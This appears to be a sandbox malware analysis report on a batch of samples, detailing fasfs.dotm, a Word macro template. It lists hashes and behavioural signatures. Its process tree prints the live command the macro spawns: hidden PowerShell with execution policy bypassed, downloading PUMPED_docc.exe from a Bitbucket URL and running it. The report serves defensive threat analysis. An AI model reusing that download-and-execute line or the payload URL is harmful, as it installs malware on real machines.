Overview
overview
10Static
static
8Ehhbsuuemv.exe
windows7-x64
10Ehhbsuuemv.exe
windows10-2004-x64
10GjIEmKW.exe
windows7-x64
10GjIEmKW.exe
windows10-2004-x64
10Jtvcsfni.exe
windows7-x64
10Jtvcsfni.exe
windows10-2004-x64
10OriginalBuild.exe
windows7-x64
3OriginalBuild.exe
windows10-2004-x64
8PUMPED_docc.exe
windows7-x64
10PUMPED_docc.exe
windows10-2004-x64
10Servicing-...te.pdf
windows7-x64
3Servicing-...te.pdf
windows10-2004-x64
3cgu3.docx
windows7-x64
6cgu3.docx
windows10-2004-x64
6debt.rtf.lnk
windows7-x64
10debt.rtf.lnk
windows10-2004-x64
10eeee.dotm
windows7-x64
3eeee.dotm
windows10-2004-x64
1egor.dotm
windows7-x64
10egor.dotm
windows10-2004-x64
10errr.dotm
windows7-x64
3errr.dotm
windows10-2004-x64
1example.dotm
windows7-x64
10example.dotm
windows10-2004-x64
10fasfs.dotm
windows7-x64
10fasfs.dotm
windows10-2004-x64
10ferrr.dotm
windows7-x64
3ferrr.dotm
windows10-2004-x64
1fffffffnew.dotm
windows7-x64
10fffffffnew.dotm
windows10-2004-x64
10fp4h5ur67j.exe
windows7-x64
10fp4h5ur67j.exe
windows10-2004-x64
10Analysis
-
max time kernel
133s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 02:36
Behavioral task
behavioral1
Sample
Ehhbsuuemv.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
Ehhbsuuemv.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
GjIEmKW.exe
Resource
win7-20241023-en
Behavioral task
behavioral4
Sample
GjIEmKW.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Jtvcsfni.exe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
Jtvcsfni.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
OriginalBuild.exe
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
OriginalBuild.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
PUMPED_docc.exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
PUMPED_docc.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Servicing-invoice-template.pdf
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
Servicing-invoice-template.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
cgu3.docx
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
cgu3.docx
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
debt.rtf.lnk
Resource
win7-20240708-en
Behavioral task
behavioral16
Sample
debt.rtf.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
eeee.dotm
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
eeee.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
egor.dotm
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
egor.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
errr.dotm
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
errr.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
example.dotm
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
example.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
fasfs.dotm
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
fasfs.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
ferrr.dotm
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
ferrr.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
fffffffnew.dotm
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
fffffffnew.dotm
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
fp4h5ur67j.exe
Resource
win7-20240708-en
Behavioral task
behavioral32
Sample
fp4h5ur67j.exe
Resource
win10v2004-20241007-en
General
-
Target
fasfs.dotm
-
Size
16KB
-
MD5
56265082f8036943f8aa659cda6b4b6f
-
SHA1
4b4c75a574e7bc18117cecfe8cad64205097ec43
-
SHA256
4adf62e4e36861567206126d6ef1a1d59bf169f9c72cde72dad9a3bfe0c09faf
-
SHA512
33792ecfeaf686435db9d6537b8e99d74b08198c198e3357b0b6ba324f7c5eb410060a34e64b2a09aa3b20f9a7b459ae6b13670abb4e03550ffb79fb0e155c2d
-
SSDEEP
384:tmtLW4BPok2xSxCyX+ZKC78qN9j6akwLWdxdA97YB3H/:qa4Bn2xzyX+383akw6L2M9
Malware Config
Extracted
https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1972 4584 powershell.exe 82 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1972 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4584 WINWORD.EXE 4584 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4584 WINWORD.EXE 4584 WINWORD.EXE 4584 WINWORD.EXE 4584 WINWORD.EXE 4584 WINWORD.EXE 4584 WINWORD.EXE 4584 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4584 wrote to memory of 1972 4584 WINWORD.EXE 86 PID 4584 wrote to memory of 1972 4584 WINWORD.EXE 86
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fasfs.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Users\Admin\AppData\Local\Temp\powershell.exeC:\Users\Admin\AppData\Local\Temp\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe','2d21412.exe');Start-Process '2d21412.exe'2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
PID:1972
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD57682d4d2079c6d281210acc35dea3f49
SHA15a5e94642a8dc681777b586dab28a5ad8cf37a19
SHA2565ba4634105483ab09492666674ff826f7d2e7e6acb6508c2a3668f0ff937b507
SHA512d528ab74a67f16ebc4bb96b358db0ecd0f8a203a327d85b80d94272651be80d191c69932ca23648c3c3426755b4bb87f03c16e5c0597b104beac74225e232dd8